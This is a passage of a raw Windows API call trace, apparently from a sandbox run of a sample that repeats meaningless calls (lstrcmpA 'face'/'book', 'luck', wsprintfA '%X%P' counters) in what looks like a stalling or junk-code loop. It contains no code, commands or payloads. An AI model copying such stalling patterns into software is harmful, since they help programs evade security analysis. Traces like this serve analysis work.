returned 7 [0071.041] SetLastError (dwErrCode=0x12) [0071.041] GetCurrentProcessId () returned 0x81c [0071.041] GetCurrentProcessId () returned 0x81c [0071.041] GetCurrentProcessId () returned 0x81c [0071.041] GetCurrentProcessId () returned 0x81c [0071.041] lstrlenA (lpString="just string") returned 11 [0071.041] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0071.041] GetLastError () returned 0x12 [0071.042] GetLastError () returned 0x12 [0071.042] lstrcmpA (lpString1="M", lpString2="luck") returned 1 [0071.042] SetLastError (dwErrCode=0x12) [0071.042] GetCurrentProcess () returned 0xffffffff [0071.042] GetLastError () returned 0x12 [0071.042] wsprintfA (in: param_1=0x2f1fa9f, param_2="%X%P" | out: param_1="6F0F80P") returned 7 [0071.042] SetLastError (dwErrCode=0x12) [0071.042] GetCurrentProcessId () returned 0x81c [0071.042] GetCurrentProcess () returned 0xffffffff [0071.042] GetLastError () returned 0x12 [0071.042] wsprintfA (in: param_1=0x2f1fa9f, param_2="%X%P" | out: param_1="6F0F81P") returned 7 [0071.042] SetLastError (dwErrCode=0x12) [0071.042] GetCurrentProcessId () returned 0x81c [0071.042] GetLastError () returned 0x12 [0071.042] wsprintfA (in: param_1=0x2f1fa9f, param_2="%X%P" | out: param_1="6F0F82P") returned 7 [0071.042] SetLastError (dwErrCode=0x12) [0071.042] GetCurrentProcessId () returned 0x81c [0071.042] GetCurrentProcessId () returned 0x81c [0071.042] GetCurrentProcessId () returned 0x81c [0071.042] GetCurrentProcessId () returned 0x81c [0071.042] lstrlenA (lpString="just string") returned 11 [0071.042] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0071.042] GetLastError () returned 0x12 [0071.042] GetLastError () returned 0x12 [0071.042] lstrcmpA (lpString1="M", lpString2="luck") returned 1 [0071.042] SetLastError (dwErrCode=0x12) [0071.042] GetCurrentProcess () returned 0xffffffff [0071.042] GetLastError () returned 0x12 [0071.042] wsprintfA (in: param_1=0x2f1fa9f, param_2="%X%P" | out: param_1="6F0F8AP") returned 7 [0071.042] SetLastError (dwErrCode=0x12) [0071.042] GetCurrentProcessId () returned 0x81c [0071.042] GetCurrentProcess () returned 0xffffffff [0071.042] GetLastError () returned 0x12 [0071.042] wsprintfA (in: param_1=0x2f1fa9f, param_2="%X%P" | out: param_1="6F0F8BP") returned 7 [0071.042] SetLastError (dwErrCode=0x12) [0071.042] GetCurrentProcessId () returned 0x81c [0071.042] GetLastError () returned 0x12 [0071.042] wsprintfA (in: param_1=0x2f1fa9f, param_2="%X%P" | out: param_1="6F0F8CP") returned 7 [0071.042] SetLastError (dwErrCode=0x12) [0071.042] GetCurrentProcessId () returned 0x81c [0071.042] GetCurrentProcessId () returned 0x81c [0071.042] GetCurrentProcessId () returned 0x81c [0071.042] GetCurrentProcessId () returned 0x81c [0071.042] lstrlenA (lpString="just string") returned 11 [0071.042] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0071.042] GetLastError () returned 0x12 [0071.042] lstrlenA (lpString="just string") returned 11 [0071.042] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0071.042] GetLastError () returned 0x12 [0071.042] GetCurrentProcessId () returned 0x81c [0071.042] GetCurrentProcessId () returned 0x81c [0071.042] lstrlenA (lpString="just string") returned 11 [0071.042] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0071.042] GetLastError () returned 0x12 [0071.042] GetCurrentProcessId () returned 0x81c [0071.042] lstrlenA (lpString="just string") returned 11 [0071.042] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0071.042] GetLastError () returned 0x12 [0071.042] GetLastError () returned 0x12 [0071.043] lstrcmpA (lpString1="M", lpString2="luck") returned 1 [0071.043] SetLastError (dwErrCode=0x12) [0071.043] GetCurrentProcess () returned 0xffffffff [0071.043] GetLastError () returned 0x12 [0071.043] wsprintfA (in: param_1=0x2f1fa9f, param_2="%X%P" | out: param_1="6F0FE4P") returned 7 [0071.043] SetLastError (dwErrCode=0x12) [0071.043] GetCurrentProcessId () returned 0x81c [0071.043] GetCurrentProcess () returned 0xffffffff [0071.043] GetLastError () returned 0x12 [0071.043] wsprintfA (in: param_1=0x2f1fa9f, param_2="%X%P" | out: param_1="6F0FE5P") returned 7 [0071.043] SetLastError (dwErrCode=0x12) [0071.043] GetCurrentProcessId () returned 0x81c [0071.043] GetLastError () returned 0x12 [0071.043] wsprintfA (in: param_1=0x2f1fa9f, param_2="%X%P" | out: param_1="6F0FE6P") returned 7 [0071.043] SetLastError (dwErrCode=0x12) [0071.043] GetCurrentProcessId () returned 0x81c [0071.043] GetCurrentProcessId () returned 0x81c [0071.043] GetCurrentProcessId () returned 0x81c [0071.043] GetCurrentProcessId () returned 0x81c [0071.043] lstrlenA (lpString="just string") returned 11 [0071.043] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0071.043] GetLastError () returned 0x12 [0071.043] GetCurrentProcess () returned 0xffffffff [0071.043] GetLastError () returned 0x12 [0071.043] wsprintfA (in: param_1=0x2f1fa9f, param_2="%X%P" | out: param_1="6F1021P") returned 7 [0071.043] SetLastError (dwErrCode=0x12) [0071.043] GetCurrentProcessId () returned 0x81c [0071.043] GetLastError () returned 0x12 [0071.043] wsprintfA (in: param_1=0x2f1fa9f, param_2="%X%P" | out: param_1="6F1022P") returned 7 [0071.043] SetLastError (dwErrCode=0x12) [0071.043] GetCurrentProcessId () returned 0x81c [0071.043] GetCurrentProcessId () returned 0x81c [0071.043] GetCurrentProcessId () returned 0x81c [0071.043] GetCurrentProcessId () returned 0x81c [0071.043] lstrlenA (lpString="just string") returned 11 [0071.043] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0071.043] GetLastError () returned 0x12 [0071.043] GetCurrentProcessId () returned 0x81c [0071.043] lstrlenA (lpString="just string") returned 11 [0071.043] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0071.043] GetLastError () returned 0x12 [0071.043] GetLastError () returned 0x12 [0071.043] lstrcmpA (lpString1="\x0e", lpString2="luck") returned -1 [0071.043] SetLastError (dwErrCode=0x12) [0071.043] GetCurrentProcess () returned 0xffffffff [0071.043] GetLastError () returned 0x12 [0071.043] wsprintfA (in: param_1=0x2f1fa9f, param_2="%X%P" | out: param_1="6F103EP") returned 7 [0071.043] SetLastError (dwErrCode=0x12) [0071.043] GetCurrentProcessId () returned 0x81c [0071.043] GetCurrentProcess () returned 0xffffffff [0071.043] GetLastError () returned 0x12 [0071.043] wsprintfA (in: param_1=0x2f1fa9f, param_2="%X%P" | out: param_1="6F103FP") returned 7 [0071.043] SetLastError (dwErrCode=0x12) [0071.043] GetCurrentProcessId () returned 0x81c [0071.043] GetLastError () returned 0x12 [0071.043] wsprintfA (in: param_1=0x2f1fa9f, param_2="%X%P" | out: param_1="6F1040P") returned 7 [0071.043] SetLastError (dwErrCode=0x12) [0071.043] GetCurrentProcessId () returned 0x81c [0071.043] GetCurrentProcessId () returned 0x81c [0071.043] GetCurrentProcessId () returned 0x81c [0071.044] GetCurrentProcessId () returned 0x81c [0071.044] lstrlenA (lpString="just string") returned 11 [0071.044] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0071.044] GetLastError () returned 0x12 [0071.044] GetLastError () returned 0x12 [0071.044] GetCurrentProcessId () returned 0x81c [0071.044] GetCurrentProcessId () returned 0x81c [0071.044] lstrlenA (lpString="just string") returned 11 [0071.044] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0071.044] GetLastError () returned 0x12 [0071.044] GetCurrentProcess () returned 0xffffffff [0071.044] GetLastError () returned 0x12 [0071.044] wsprintfA (in: param_1=0x2f1fa9f, param_2="%X%P" | out: param_1="6F10B7P") returned 7 [0071.044] SetLastError (dwErrCode=0x12) [0071.044] GetCurrentProcessId () returned 0x81c [0071.044] GetLastError () returned 0x12 [0071.044] wsprintfA (in: param_1=0x2f1fa9f, param_2="%X%P" | out: param_1="6F10B8P") returned 7 [0071.044] SetLastError (dwErrCode=0x12) [0071.044] GetCurrentProcessId () returned 0x81c [0071.044] GetCurrentProcessId () returned 0x81c [0071.044] GetCurrentProcessId () returned 0x81c [0071.044] GetCurrentProcessId () returned 0x81c [0071.044] lstrlenA (lpString="just string") returned 11 [0071.044] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0071.044] GetLastError () returned 0x12 [0071.044] GetLastError () returned 0x12 [0071.044] GetLastError () returned 0x12 [0071.044] GetCurrentProcessId () returned 0x81c [0071.044] lstrlenA (lpString="just string") returned 11 [0071.044] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0071.044] GetLastError () returned 0x12 [0071.044] lstrlenA (lpString="just string") returned 11 [0071.044] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0071.044] GetLastError () returned 0x12 [0071.044] GetCurrentProcess () returned 0xffffffff [0071.044] GetLastError () returned 0x12 [0071.044] wsprintfA (in: param_1=0x2f1fa9f, param_2="%X%P" | out: param_1="6F1189P") returned 7 [0071.044] SetLastError (dwErrCode=0x12) [0071.044] GetCurrentProcessId () returned 0x81c [0071.044] GetLastError () returned 0x12 [0071.044] wsprintfA (in: param_1=0x2f1fa9f, param_2="%X%P" | out: param_1="6F118AP") returned 7 [0071.044] SetLastError (dwErrCode=0x12) [0071.044] GetCurrentProcessId () returned 0x81c [0071.044] GetCurrentProcessId () returned 0x81c [0071.044] GetCurrentProcessId () returned 0x81c [0071.044] GetCurrentProcessId () returned 0x81c [0071.044] lstrlenA (lpString="just string") returned 11 [0071.044] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0071.044] GetLastError () returned 0x12 [0071.044] GetLastError () returned 0x12 [0071.044] lstrcmpA (lpString1="\x0e", lpString2="luck") returned -1 [0071.044] SetLastError (dwErrCode=0x12) [0071.044] GetCurrentProcess () returned 0xffffffff [0071.044] GetLastError () returned 0x12 [0071.044] wsprintfA (in: param_1=0x2f1fa9f, param_2="%X%P" | out: param_1="6F11C4P") returned 7 [0071.044] SetLastError (dwErrCode=0x12) [0071.044] GetCurrentProcessId () returned 0x81c [0071.044] GetCurrentProcess () returned 0xffffffff [0071.044] GetLastError () returned 0x12 [0071.044] wsprintfA (in: param_1=0x2f1fa9f, param_2="%X%P" | out: param_1="6F11C5P") returned 7 [0071.044] SetLastError (dwErrCode=0x12) [0071.044] GetCurrentProcessId () returned 0x81c [0071.044] GetLastError () returned 0x12 [0071.045] wsprintfA (in: param_1=0x2f1fa9f, param_2="%X%P" | out: param_1="6F11C6P") returned 7 [0071.045] SetLastError (dwErrCode=0x12) [0071.045] GetCurrentProcessId () returned 0x81c [0071.045] GetCurrentProcessId () returned 0x81c [0071.045] GetCurrentProcessId () returned 0x81c [0071.045] GetCurrentProcessId () returned 0x81c [0071.045] lstrlenA (lpString="just string") returned 11 [0071.045] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0071.045] GetLastError () returned 0x12 [0071.045] GetLastError () returned 0x12 [0071.045] wsprintfA (in: param_1=0x2f1fa9f, param_2="%X%P" | out: param_1="6F11D0P") returned 7 [0071.045] SetLastError (dwErrCode=0x12) [0071.045] GetCurrentProcessId () returned 0x81c [0071.045] GetCurrentProcessId () returned 0x81c [0071.045] GetCurrentProcessId () returned 0x81c [0071.045] GetCurrentProcessId () returned 0x81c [0071.045] lstrlenA (lpString="just string") returned 11 [0071.045] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0071.045] GetLastError () returned 0x12 [0071.045] GetLastError () returned 0x12 [0071.045] lstrcmpA (lpString1="\x0e", lpString2="luck") returned -1 [0071.045] SetLastError (dwErrCode=0x12) [0071.045] GetCurrentProcess () returned 0xffffffff [0071.045] GetLastError () returned 0x12 [0071.045] wsprintfA (in: param_1=0x2f1fa9f, param_2="%X%P" | out: param_1="6F11F6P") returned 7 [0071.045] SetLastError (dwErrCode=0x12) [0071.045] GetCurrentProcessId () returned 0x81c [0071.045] GetCurrentProcess () returned 0xffffffff [0071.045] GetLastError () returned 0x12 [0071.045] wsprintfA (in: param_1=0x2f1fa9f, param_2="%X%P" | out: param_1="6F11F7P") returned 7 [0071.045] SetLastError (dwErrCode=0x12) [0071.045] GetCurrentProcessId () returned 0x81c [0071.045] GetLastError () returned 0x12 [0071.045] wsprintfA (in: param_1=0x2f1fa9f, param_2="%X%P" | out: param_1="6F11F8P") returned 7 [0071.045] SetLastError (dwErrCode=0x12) [0071.045] GetCurrentProcessId () returned 0x81c [0071.045] GetCurrentProcessId () returned 0x81c [0071.045] GetCurrentProcessId () returned 0x81c [0071.045] GetCurrentProcessId () returned 0x81c [0071.045] lstrlenA (lpString="just string") returned 11 [0071.045] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0071.045] GetLastError () returned 0x12 [0071.045] GetLastError () returned 0x12 [0071.045] lstrcmpA (lpString1="M", lpString2="luck") returned 1 [0071.045] SetLastError (dwErrCode=0x12) [0071.045] GetCurrentProcess () returned 0xffffffff [0071.045] GetLastError () returned 0x12 [0071.045] wsprintfA (in: param_1=0x2f1fa9f, param_2="%X%P" | out: param_1="6F1228P") returned 7 [0071.045] SetLastError (dwErrCode=0x12) [0071.045] GetCurrentProcessId () returned 0x81c [0071.045] GetCurrentProcess () returned 0xffffffff [0071.045] GetLastError () returned 0x12 [0071.045] wsprintfA (in: param_1=0x2f1fa9f, param_2="%X%P" | out: param_1="6F1229P") returned 7 [0071.045] SetLastError (dwErrCode=0x12) [0071.045] GetCurrentProcessId () returned 0x81c [0071.045] GetLastError () returned 0x12 [0071.045] wsprintfA (in: param_1=0x2f1fa9f, param_2="%X%P" | out: param_1="6F122AP") returned 7 [0071.045] SetLastError (dwErrCode=0x12) [0071.046] GetCurrentProcessId () returned 0x81c [0071.046] GetCurrentProcessId () returned 0x81c [0071.046] GetCurrentProcessId () returned 0x81c [0071.046] GetCurrentProcessId () returned 0x81c [0071.046] lstrlenA (lpString="just string") returned 11 [0071.046] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0071.046] GetLastError () returned 0x12 [0071.046] GetLastError () returned 0x12 [0071.046] wsprintfA (in: param_1=0x2f1fa9f, param_2="%X%P" | out: param_1="6F123EP") returned 7 [0071.046] SetLastError (dwErrCode=0x12) [0071.046] GetCurrentProcessId () returned 0x81c [0071.046] GetCurrentProcessId () returned 0x81c [0071.046] GetCurrentProcessId () returned 0x81c [0071.046] GetCurrentProcessId () returned 0x81c [0071.046] lstrlenA (lpString="just string") returned 11 [0071.046] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0071.046] GetLastError () returned 0x12 [0071.046] GetLastError () returned 0x12 [0071.046] GetLastError () returned 0x12 [0071.046] lstrcmpA (lpString1="\x0e", lpString2="luck") returned -1 [0071.046] SetLastError (dwErrCode=0x12) [0071.046] GetCurrentProcess () returned 0xffffffff [0071.046] GetLastError () returned 0x12 [0071.046] wsprintfA (in: param_1=0x2f1fa9f, param_2="%X%P" | out: param_1="6F1282P") returned 7 [0071.046] SetLastError (dwErrCode=0x12) [0071.046] GetCurrentProcessId () returned 0x81c [0071.046] GetCurrentProcess () returned 0xffffffff [0071.046] GetLastError () returned 0x12 [0071.046] wsprintfA (in: param_1=0x2f1fa9f, param_2="%X%P" | out: param_1="6F1283P") returned 7 [0071.046] SetLastError (dwErrCode=0x12) [0071.046] GetCurrentProcessId () returned 0x81c [0071.046] GetLastError () returned 0x12 [0071.046] wsprintfA (in: param_1=0x2f1fa9f, param_2="%X%P" | out: param_1="6F1284P") returned 7 [0071.046] SetLastError (dwErrCode=0x12) [0071.046] GetCurrentProcessId () returned 0x81c [0071.046] GetCurrentProcessId () returned 0x81c [0071.046] GetCurrentProcessId () returned 0x81c [0071.046] GetCurrentProcessId () returned 0x81c [0071.046] lstrlenA (lpString="just string") returned 11 [0071.046] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0071.046] GetLastError () returned 0x12 [0071.046] GetCurrentProcessId () returned 0x81c [0071.046] GetCurrentProcessId () returned 0x81c [0071.046] GetCurrentProcessId () returned 0x81c [0071.046] lstrlenA (lpString="just string") returned 11 [0071.046] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0071.046] GetLastError () returned 0x12 [0071.046] GetLastError () returned 0x12 [0071.046] wsprintfA (in: param_1=0x2f1fa9f, param_2="%X%P" | out: param_1="6F12B6P") returned 7 [0071.046] SetLastError (dwErrCode=0x12) [0071.046] GetCurrentProcessId () returned 0x81c [0071.046] GetCurrentProcessId () returned 0x81c [0071.046] GetCurrentProcessId () returned 0x81c [0071.046] GetCurrentProcessId () returned 0x81c [0071.046] lstrlenA (lpString="just string") returned 11 [0071.046] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0071.046] GetLastError () returned 0x12 [0071.046] GetCurrentProcessId () returned 0x81c [0071.046] GetCurrentProcessId () returned 0x81c [0071.046] GetCurrentProcessId () returned 0x81c [0071.046] lstrlenA (lpString="just string") returned 11 [0071.046] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0071.046] GetLastError () returned 0x12 [0071.046] GetCurrentProcessId () returned 0x81c [0071.047] lstrlenA (lpString="just string") returned 11 [0071.047] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0071.047] GetLastError () returned 0x12 [0071.047] GetCurrentProcess () returned 0xffffffff [0071.047] GetLastError () returned 0x12 [0071.047] wsprintfA (in: param_1=0x2f1fa9f, param_2="%X%P" | out: param_1="6F12F1P") returned 7 [0071.047] SetLastError (dwErrCode=0x12) [0071.047] GetCurrentProcessId () returned 0x81c [0071.047] GetLastError () returned 0x12 [0071.047] wsprintfA (in: param_1=0x2f1fa9f, param_2="%X%P" | out: param_1="6F12F2P") returned 7 [0071.047] SetLastError (dwErrCode=0x12) [0071.047] GetCurrentProcessId () returned 0x81c [0071.047] GetCurrentProcessId () returned 0x81c [0071.047] GetCurrentProcessId () returned 0x81c [0071.047] GetCurrentProcessId () returned 0x81c [0071.047] lstrlenA (lpString="just string") returned 11 [0071.047] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0071.047] GetLastError () returned 0x12 [0071.047] GetCurrentProcessId () returned 0x81c [0071.047] GetCurrentProcessId () returned 0x81c [0071.047] GetCurrentProcessId () returned 0x81c [0071.047] lstrlenA (lpString="just string") returned 11 [0071.047] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0071.047] GetLastError () returned 0x12 [0071.047] GetCurrentProcess () returned 0xffffffff [0071.047] GetLastError () returned 0x12 [0071.047] wsprintfA (in: param_1=0x2f1fa9f, param_2="%X%P" | out: param_1="6F134BP") returned 7 [0071.047] SetLastError (dwErrCode=0x12) [0071.047] GetCurrentProcessId () returned 0x81c [0071.047] GetLastError () returned 0x12 [0071.047] wsprintfA (in: param_1=0x2f1fa9f, param_2="%X%P" | out: param_1="6F134CP") returned 7 [0071.047] SetLastError (dwErrCode=0x12) [0071.047] GetCurrentProcessId () returned 0x81c [0071.047] GetCurrentProcessId () returned 0x81c [0071.047] GetCurrentProcessId () returned 0x81c [0071.047] GetCurrentProcessId () returned 0x81c [0071.047] lstrlenA (lpString="just string") returned 11 [0071.047] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0071.047] GetLastError () returned 0x12 [0071.047] GetLastError () returned 0x12 [0071.047] wsprintfA (in: param_1=0x2f1fa9f, param_2="%X%P" | out: param_1="6F1374P") returned 7 [0071.047] SetLastError (dwErrCode=0x12) [0071.047] GetCurrentProcessId () returned 0x81c [0071.047] GetCurrentProcessId () returned 0x81c [0071.047] GetCurrentProcessId () returned 0x81c [0071.047] GetCurrentProcessId () returned 0x81c [0071.047] lstrlenA (lpString="just string") returned 11 [0071.047] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0071.047] GetLastError () returned 0x12 [0071.047] GetLastError () returned 0x12 [0071.047] wsprintfA (in: param_1=0x2f1fa9f, param_2="%X%P" | out: param_1="6F1388P") returned 7 [0071.047] SetLastError (dwErrCode=0x12) [0071.047] GetCurrentProcessId () returned 0x81c [0071.047] GetCurrentProcessId () returned 0x81c [0071.047] GetCurrentProcessId () returned 0x81c [0071.047] GetCurrentProcessId () returned 0x81c [0071.047] lstrlenA (lpString="just string") returned 11 [0071.047] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0071.047] GetLastError () returned 0x12 [0071.047] GetCurrentProcessId () returned 0x81c [0071.047] GetCurrentProcessId () returned 0x81c [0071.047] GetCurrentProcessId () returned 0x81c [0071.047] lstrlenA (lpString="just string") returned 11 [0071.047] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0071.048] GetLastError () returned 0x12 [0071.048] GetLastError () returned 0x12 [0071.048] lstrcmpA (lpString1="M", lpString2="luck") returned 1 [0071.048] SetLastError (dwErrCode=0x12) [0071.048] GetCurrentProcess () returned 0xffffffff [0071.048] GetLastError () returned 0x12 [0071.048] wsprintfA (in: param_1=0x2f1fa9f, param_2="%X%P" | out: param_1="6F139AP") returned 7 [0071.048] SetLastError (dwErrCode=0x12) [0071.048] GetCurrentProcessId () returned 0x81c [0071.048] GetCurrentProcess () returned 0xffffffff [0071.048] GetLastError () returned 0x12 [0071.048] wsprintfA (in: param_1=0x2f1fa9f, param_2="%X%P" | out: param_1="6F139BP") returned 7 [0071.048] SetLastError (dwErrCode=0x12) [0071.048] GetCurrentProcessId () returned 0x81c [0071.048] GetLastError () returned 0x12 [0071.048] wsprintfA (in: param_1=0x2f1fa9f, param_2="%X%P" | out: param_1="6F139CP") returned 7 [0071.048] SetLastError (dwErrCode=0x12) [0071.048] GetCurrentProcessId () returned 0x81c [0071.048] GetCurrentProcessId () returned 0x81c [0071.048] GetCurrentProcessId () returned 0x81c [0071.048] GetCurrentProcessId () returned 0x81c [0071.048] lstrlenA (lpString="just string") returned 11 [0071.048] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0071.048] GetLastError () returned 0x12 [0071.048] GetLastError () returned 0x12 [0071.048] GetCurrentProcess () returned 0xffffffff [0071.048] GetLastError () returned 0x12 [0071.048] wsprintfA (in: param_1=0x2f1fa9f, param_2="%X%P" | out: param_1="6F13FFP") returned 7 [0071.048] SetLastError (dwErrCode=0x12) [0071.048] GetCurrentProcessId () returned 0x81c [0071.048] GetLastError () returned 0x12 [0071.048] wsprintfA (in: param_1=0x2f1fa9f, param_2="%X%P" | out: param_1="6F1400P") returned 7 [0071.048] SetLastError (dwErrCode=0x12) [0071.048] GetCurrentProcessId () returned 0x81c [0071.048] GetCurrentProcessId () returned 0x81c [0071.048] GetCurrentProcessId () returned 0x81c [0071.048] GetCurrentProcessId () returned 0x81c [0071.048] lstrlenA (lpString="just string") returned 11 [0071.048] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0071.048] GetLastError () returned 0x12 [0071.048] GetCurrentProcessId () returned 0x81c [0071.048] lstrlenA (lpString="just string") returned 11 [0071.048] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0071.048] GetLastError () returned 0x12 [0071.048] GetLastError () returned 0x12 [0071.048] wsprintfA (in: param_1=0x2f1fa9f, param_2="%X%P" | out: param_1="6F143CP") returned 7 [0071.048] SetLastError (dwErrCode=0x12) [0071.048] GetCurrentProcessId () returned 0x81c [0071.048] GetCurrentProcessId () returned 0x81c [0071.048] GetCurrentProcessId () returned 0x81c [0071.048] GetCurrentProcessId () returned 0x81c [0071.048] lstrlenA (lpString="just string") returned 11 [0071.048] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0071.048] GetLastError () returned 0x12 [0071.048] GetCurrentProcessId () returned 0x81c [0071.048] lstrlenA (lpString="just string") returned 11 [0071.048] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0071.048] GetLastError () returned 0x12 [0071.048] GetLastError () returned 0x12 [0071.048] lstrcmpA (lpString1="M", lpString2="luck") returned 1 [0071.049] SetLastError (dwErrCode=0x12) [0071.049] GetCurrentProcess () returned 0xffffffff [0071.049] GetLastError () returned 0x12 [0071.049] wsprintfA (in: param_1=0x2f1fa9f, param_2="%X%P" | out: param_1="6F1476P") returned 7 [0071.049] SetLastError (dwErrCode=0x12) [0071.049] GetCurrentProcessId () returned 0x81c [0071.049] GetCurrentProcess () returned 0xffffffff [0071.049] GetLastError () returned 0x12 [0071.049] wsprintfA (in: param_1=0x2f1fa9f, param_2="%X%P" | out: param_1="6F1477P") returned 7 [0071.049] SetLastError (dwErrCode=0x12) [0071.049] GetCurrentProcessId () returned 0x81c [0071.049] GetLastError () returned 0x12 [0071.049] wsprintfA (in: param_1=0x2f1fa9f, param_2="%X%P" | out: param_1="6F1478P") returned 7 [0071.049] SetLastError (dwErrCode=0x12) [0071.049] GetCurrentProcessId () returned 0x81c [0071.049] GetCurrentProcessId () returned 0x81c [0071.049] GetCurrentProcessId () returned 0x81c [0071.049] GetCurrentProcessId () returned 0x81c [0071.049] lstrlenA (lpString="just string") returned 11 [0071.049] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0071.049] GetLastError () returned 0x12 [0071.049] GetCurrentProcessId () returned 0x81c [0071.049] GetCurrentProcessId () returned 0x81c [0071.049] GetCurrentProcessId () returned 0x81c [0071.049] lstrlenA (lpString="just string") returned 11 [0071.049] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0071.049] GetLastError () returned 0x12 [0071.049] GetLastError () returned 0x12 [0071.049] lstrcmpA (lpString1="M", lpString2="luck") returned 1 [0071.049] SetLastError (dwErrCode=0x12) [0071.049] GetCurrentProcess () returned 0xffffffff [0071.049] GetLastError () returned 0x12 [0071.049] wsprintfA (in: param_1=0x2f1fa9f, param_2="%X%P" | out: param_1="6F1502P") returned 7 [0071.049] SetLastError (dwErrCode=0x12) [0071.049] GetCurrentProcessId () returned 0x81c [0071.049] GetCurrentProcess () returned 0xffffffff [0071.049] GetLastError () returned 0x12 [0071.049] wsprintfA (in: param_1=0x2f1fa9f, param_2="%X%P" | out: param_1="6F1503P") returned 7 [0071.049] SetLastError (dwErrCode=0x12) [0071.049] GetCurrentProcessId () returned 0x81c [0071.049] GetLastError () returned 0x12 [0071.049] wsprintfA (in: param_1=0x2f1fa9f, param_2="%X%P" | out: param_1="6F1504P") returned 7 [0071.049] SetLastError (dwErrCode=0x12) [0071.049] GetCurrentProcessId () returned 0x81c [0071.049] GetCurrentProcessId () returned 0x81c [0071.049] GetCurrentProcessId () returned 0x81c [0071.049] GetCurrentProcessId () returned 0x81c [0071.049] lstrlenA (lpString="just string") returned 11 [0071.049] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0071.049] GetLastError () returned 0x12 [0071.049] GetLastError () returned 0x12 [0071.049] wsprintfA (in: param_1=0x2f1fa9f, param_2="%X%P" | out: param_1="6F1540P") returned 7 [0071.049] SetLastError (dwErrCode=0x12) [0071.049] GetCurrentProcessId () returned 0x81c [0071.049] GetCurrentProcessId () returned 0x81c [0071.049] GetCurrentProcessId () returned 0x81c [0071.049] GetCurrentProcessId () returned 0x81c [0071.049] lstrlenA (lpString="just string") returned 11 [0071.049] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0071.049] GetLastError () returned 0x12 [0071.049] GetLastError () returned 0x12 [0071.050] lstrcmpA (lpString1="M", lpString2="luck") returned 1 [0071.050] SetLastError (dwErrCode=0x12) [0071.050] GetCurrentProcess () returned 0xffffffff [0071.050] GetLastError () returned 0x12 [0071.050] wsprintfA (in: param_1=0x2f1fa9f, param_2="%X%P" | out: param_1="6F1566P") returned 7 [0071.050] SetLastError (dwErrCode=0x12) [0071.050] GetCurrentProcessId () returned 0x81c [0071.050] GetCurrentProcess () returned 0xffffffff [0071.050] GetLastError () returned 0x12 [0071.050] wsprintfA (in: param_1=0x2f1fa9f, param_2="%X%P" | out: param_1="6F1567P") returned 7 [0071.050] SetLastError (dwErrCode=0x12) [0071.050] GetCurrentProcessId () returned 0x81c [0071.050] GetLastError () returned 0x12 [0071.050] wsprintfA (in: param_1=0x2f1fa9f, param_2="%X%P" | out: param_1="6F1568P") returned 7 [0071.050] SetLastError (dwErrCode=0x12) [0071.050] GetCurrentProcessId () returned 0x81c [0071.050] GetCurrentProcessId () returned 0x81c [0071.050] GetCurrentProcessId () returned 0x81c [0071.050] GetCurrentProcessId () returned 0x81c [0071.050] lstrlenA (lpString="just string") returned 11 [0071.050] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0071.050] GetLastError () returned 0x12 [0071.050] GetLastError () returned 0x12 [0071.050] lstrcmpA (lpString1="M", lpString2="luck") returned 1 [0071.050] SetLastError (dwErrCode=0x12) [0071.050] GetCurrentProcess () returned 0xffffffff [0071.050] GetLastError () returned 0x12 [0071.050] wsprintfA (in: param_1=0x2f1fa9f, param_2="%X%P" | out: param_1="6F15ACP") returned 7 [0071.050] SetLastError (dwErrCode=0x12) [0071.050] GetCurrentProcessId () returned 0x81c [0071.050] GetCurrentProcess () returned 0xffffffff [0071.050] GetLastError () returned 0x12 [0071.050] wsprintfA (in: param_1=0x2f1fa9f, param_2="%X%P" | out: param_1="6F15ADP") returned 7 [0071.050] SetLastError (dwErrCode=0x12) [0071.050] GetCurrentProcessId () returned 0x81c [0071.050] GetLastError () returned 0x12 [0071.050] wsprintfA (in: param_1=0x2f1fa9f, param_2="%X%P" | out: param_1="6F15AEP") returned 7 [0071.050] SetLastError (dwErrCode=0x12) [0071.050] GetCurrentProcessId () returned 0x81c [0071.050] GetCurrentProcessId () returned 0x81c [0071.050] GetCurrentProcessId () returned 0x81c [0071.050] GetCurrentProcessId () returned 0x81c [0071.050] lstrlenA (lpString="just string") returned 11 [0071.050] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0071.050] GetLastError () returned 0x12 [0071.050] GetCurrentProcessId () returned 0x81c [0071.050] GetCurrentProcessId () returned 0x81c [0071.050] GetCurrentProcessId () returned 0x81c [0071.050] lstrlenA (lpString="just string") returned 11 [0071.050] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0071.050] GetLastError () returned 0x12 [0071.050] GetLastError () returned 0x12 